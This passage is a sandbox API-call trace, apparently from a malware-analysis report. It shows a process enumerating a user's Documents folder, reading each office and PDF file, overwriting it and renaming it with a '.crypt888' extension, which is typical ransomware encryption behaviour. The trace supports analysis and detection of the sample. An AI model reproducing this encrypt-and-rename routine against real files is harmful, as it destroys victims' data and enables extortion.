returned 1 [0080.767] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edc4) returned 1 [0080.767] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", nBufferLength=0x105, lpBuffer=0x39e8cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents", lpFilePart=0x0) returned 0x27 [0080.767] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", nBufferLength=0x105, lpBuffer=0x39e8a0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\", lpFilePart=0x0) returned 0x28 [0080.767] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x39eaec | out: lpFindFileData=0x39eaec) returned 0x59a528 [0080.768] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.768] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.768] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.769] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.769] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.769] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.769] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.769] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.770] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.770] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.770] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.770] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.770] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.770] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.771] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.771] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.771] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.771] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.771] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.771] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.771] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.772] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.772] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.772] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.772] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.773] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.773] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.773] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.773] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.773] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 1 [0080.773] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39eafc | out: lpFindFileData=0x39eafc) returned 0 [0080.773] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0080.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed84) returned 1 [0080.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed90) returned 1 [0080.774] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4wgipPO-VXq.pdf", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4wgipPO-VXq.pdf", lpFilePart=0x0) returned 0x37 [0080.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0080.774] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4wgipPO-VXq.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4wgippo-vxq.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.774] GetFileType (hFile=0x174) returned 0x1 [0080.774] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0080.774] GetFileType (hFile=0x174) returned 0x1 [0080.774] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x7e8b [0080.774] ReadFile (in: hFile=0x174, lpBuffer=0x281fca8, nNumberOfBytesToRead=0x7e8b, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x281fca8*, lpNumberOfBytesRead=0x39ed58*=0x7e8b, lpOverlapped=0x0) returned 1 [0080.775] CloseHandle (hObject=0x174) returned 1 [0080.791] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4wgipPO-VXq.pdf", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4wgipPO-VXq.pdf", lpFilePart=0x0) returned 0x37 [0080.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0080.791] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4wgipPO-VXq.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4wgippo-vxq.pdf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.793] GetFileType (hFile=0x174) returned 0x1 [0080.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0080.793] GetFileType (hFile=0x174) returned 0x1 [0080.793] WriteFile (in: hFile=0x174, lpBuffer=0x2894340*, nNumberOfBytesToWrite=0x7e90, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x2894340*, lpNumberOfBytesWritten=0x39ed48*=0x7e90, lpOverlapped=0x0) returned 1 [0080.794] CloseHandle (hObject=0x174) returned 1 [0080.796] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4wgipPO-VXq.pdf", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4wgipPO-VXq.pdf", lpFilePart=0x0) returned 0x37 [0080.796] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4wgipPO-VXq.pdf.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4wgipPO-VXq.pdf.crypt888", lpFilePart=0x0) returned 0x40 [0080.796] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0080.797] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4wgipPO-VXq.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4wgippo-vxq.pdf"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c125a10, ftCreationTime.dwHighDateTime=0x1d463cd, ftLastAccessTime.dwLowDateTime=0xae893f30, ftLastAccessTime.dwHighDateTime=0x1d45c7b, ftLastWriteTime.dwLowDateTime=0xc15bdbe0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x7e90)) returned 1 [0080.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0080.797] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4wgipPO-VXq.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4wgippo-vxq.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\4wgipPO-VXq.pdf.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\4wgippo-vxq.pdf.crypt888")) returned 1 [0080.798] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8VbhkRwFlZc.docx", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8VbhkRwFlZc.docx", lpFilePart=0x0) returned 0x38 [0080.798] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0080.798] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8VbhkRwFlZc.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8vbhkrwflzc.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.798] GetFileType (hFile=0x174) returned 0x1 [0080.798] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0080.798] GetFileType (hFile=0x174) returned 0x1 [0080.798] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x545e [0080.798] ReadFile (in: hFile=0x174, lpBuffer=0x289c5a0, nNumberOfBytesToRead=0x545e, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x289c5a0*, lpNumberOfBytesRead=0x39ed58*=0x545e, lpOverlapped=0x0) returned 1 [0080.799] CloseHandle (hObject=0x174) returned 1 [0080.848] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8VbhkRwFlZc.docx", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8VbhkRwFlZc.docx", lpFilePart=0x0) returned 0x38 [0080.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0080.849] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8VbhkRwFlZc.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8vbhkrwflzc.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.850] GetFileType (hFile=0x174) returned 0x1 [0080.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0080.850] GetFileType (hFile=0x174) returned 0x1 [0080.850] WriteFile (in: hFile=0x174, lpBuffer=0x270af0c*, nNumberOfBytesToWrite=0x5460, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x270af0c*, lpNumberOfBytesWritten=0x39ed48*=0x5460, lpOverlapped=0x0) returned 1 [0080.851] CloseHandle (hObject=0x174) returned 1 [0080.852] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8VbhkRwFlZc.docx", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8VbhkRwFlZc.docx", lpFilePart=0x0) returned 0x38 [0080.852] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8VbhkRwFlZc.docx.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8VbhkRwFlZc.docx.crypt888", lpFilePart=0x0) returned 0x41 [0080.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0080.852] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8VbhkRwFlZc.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8vbhkrwflzc.docx"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb58c560, ftCreationTime.dwHighDateTime=0x1d44e34, ftLastAccessTime.dwLowDateTime=0xb77b4910, ftLastAccessTime.dwHighDateTime=0x1d40fe3, ftLastWriteTime.dwLowDateTime=0xc1630000, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x5460)) returned 1 [0080.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0080.853] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8VbhkRwFlZc.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8vbhkrwflzc.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\8VbhkRwFlZc.docx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\8vbhkrwflzc.docx.crypt888")) returned 1 [0080.854] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AZTovo37YZ3Znd.docx", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AZTovo37YZ3Znd.docx", lpFilePart=0x0) returned 0x3b [0080.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0080.854] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AZTovo37YZ3Znd.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\aztovo37yz3znd.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.854] GetFileType (hFile=0x174) returned 0x1 [0080.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0080.854] GetFileType (hFile=0x174) returned 0x1 [0080.854] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x27a5 [0080.854] ReadFile (in: hFile=0x174, lpBuffer=0x2710750, nNumberOfBytesToRead=0x27a5, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x2710750*, lpNumberOfBytesRead=0x39ed58*=0x27a5, lpOverlapped=0x0) returned 1 [0080.855] CloseHandle (hObject=0x174) returned 1 [0080.867] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AZTovo37YZ3Znd.docx", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AZTovo37YZ3Znd.docx", lpFilePart=0x0) returned 0x3b [0080.867] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0080.867] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AZTovo37YZ3Znd.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\aztovo37yz3znd.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.868] GetFileType (hFile=0x174) returned 0x1 [0080.868] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0080.868] GetFileType (hFile=0x174) returned 0x1 [0080.868] WriteFile (in: hFile=0x174, lpBuffer=0x2769ce4*, nNumberOfBytesToWrite=0x27b0, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x2769ce4*, lpNumberOfBytesWritten=0x39ed48*=0x27b0, lpOverlapped=0x0) returned 1 [0080.869] CloseHandle (hObject=0x174) returned 1 [0080.870] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AZTovo37YZ3Znd.docx", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AZTovo37YZ3Znd.docx", lpFilePart=0x0) returned 0x3b [0080.870] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AZTovo37YZ3Znd.docx.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AZTovo37YZ3Znd.docx.crypt888", lpFilePart=0x0) returned 0x44 [0080.870] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0080.870] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AZTovo37YZ3Znd.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\aztovo37yz3znd.docx"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e4b6660, ftCreationTime.dwHighDateTime=0x1d419ba, ftLastAccessTime.dwLowDateTime=0x8b37caa0, ftLastAccessTime.dwHighDateTime=0x1d4467e, ftLastWriteTime.dwLowDateTime=0xc167c2c0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x27b0)) returned 1 [0080.870] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0080.870] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AZTovo37YZ3Znd.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\aztovo37yz3znd.docx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\AZTovo37YZ3Znd.docx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\aztovo37yz3znd.docx.crypt888")) returned 1 [0080.871] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDSfVtCL5an7pmmSi.pptx", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDSfVtCL5an7pmmSi.pptx", lpFilePart=0x0) returned 0x3e [0080.871] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0080.871] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDSfVtCL5an7pmmSi.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cdsfvtcl5an7pmmsi.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.872] GetFileType (hFile=0x174) returned 0x1 [0080.872] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0080.872] GetFileType (hFile=0x174) returned 0x1 [0080.872] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x53cc [0080.872] ReadFile (in: hFile=0x174, lpBuffer=0x276c8a4, nNumberOfBytesToRead=0x53cc, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x276c8a4*, lpNumberOfBytesRead=0x39ed58*=0x53cc, lpOverlapped=0x0) returned 1 [0080.873] CloseHandle (hObject=0x174) returned 1 [0080.891] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDSfVtCL5an7pmmSi.pptx", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDSfVtCL5an7pmmSi.pptx", lpFilePart=0x0) returned 0x3e [0080.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0080.892] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDSfVtCL5an7pmmSi.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cdsfvtcl5an7pmmsi.pptx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.893] GetFileType (hFile=0x174) returned 0x1 [0080.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0080.893] GetFileType (hFile=0x174) returned 0x1 [0080.893] WriteFile (in: hFile=0x174, lpBuffer=0x27d3978*, nNumberOfBytesToWrite=0x53d0, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x27d3978*, lpNumberOfBytesWritten=0x39ed48*=0x53d0, lpOverlapped=0x0) returned 1 [0080.895] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDSfVtCL5an7pmmSi.pptx", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDSfVtCL5an7pmmSi.pptx", lpFilePart=0x0) returned 0x3e [0080.895] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDSfVtCL5an7pmmSi.pptx.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDSfVtCL5an7pmmSi.pptx.crypt888", lpFilePart=0x0) returned 0x47 [0080.895] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed30) returned 1 [0080.895] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDSfVtCL5an7pmmSi.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cdsfvtcl5an7pmmsi.pptx"), fInfoLevelId=0x0, lpFileInformation=0x39edac | out: lpFileInformation=0x39edac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca037e40, ftCreationTime.dwHighDateTime=0x1d45f61, ftLastAccessTime.dwLowDateTime=0xea34e0b0, ftLastAccessTime.dwHighDateTime=0x1d3f020, ftLastWriteTime.dwLowDateTime=0xc16a2420, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x53d0)) returned 1 [0080.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed2c) returned 1 [0080.895] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDSfVtCL5an7pmmSi.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cdsfvtcl5an7pmmsi.pptx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\CDSfVtCL5an7pmmSi.pptx.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cdsfvtcl5an7pmmsi.pptx.crypt888")) returned 1 [0080.896] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cztPVRidiv3Yfxdk.xlsx", nBufferLength=0x105, lpBuffer=0x39e7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cztPVRidiv3Yfxdk.xlsx", lpFilePart=0x0) returned 0x3d [0080.896] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eca4) returned 1 [0080.896] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cztPVRidiv3Yfxdk.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cztpvridiv3yfxdk.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.896] GetFileType (hFile=0x174) returned 0x1 [0080.896] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eca0) returned 1 [0080.896] GetFileType (hFile=0x174) returned 0x1 [0080.896] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39edac | out: lpFileSizeHigh=0x39edac*=0x0) returned 0x13c80 [0080.897] ReadFile (in: hFile=0x174, lpBuffer=0x27d9170, nNumberOfBytesToRead=0x13c80, lpNumberOfBytesRead=0x39ed58, lpOverlapped=0x0 | out: lpBuffer=0x27d9170*, lpNumberOfBytesRead=0x39ed58*=0x13c80, lpOverlapped=0x0) returned 1 [0080.919] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cztPVRidiv3Yfxdk.xlsx", nBufferLength=0x105, lpBuffer=0x39e798, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cztPVRidiv3Yfxdk.xlsx", lpFilePart=0x0) returned 0x3d [0080.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0080.919] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cztPVRidiv3Yfxdk.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\cztpvridiv3yfxdk.xlsx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0080.921] GetFileType (hFile=0x174) returned 0x1 [0080.921] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec88) returned 1 [0080.921] GetFileType (hFile=0x174) returned 0x1 [0080.921] WriteFile (in: hFile=0x174, lpBuffer=0x28614f8*, nNumberOfBytesToWrite=0x13c90, lpNumberOfBytesWritten=0x39ed48, lpOverlapped=0x0 | out: lpBuffer=0x28614f8*, lpNumberOfBytesWritten=0x39ed48*=0x13c90, lpOverlapped=0x0) returned 1 [0080.924] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cztPVRidiv3Yfxdk.xlsx", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cztPVRidiv3Yfxdk.xlsx", lpFilePart=0x0) returned 0x3d [0080.924] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\cztPVRidiv3Yfxdk.xlsx.crypt888", nBufferLength=0x105, lpBuffer=0x39e8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS 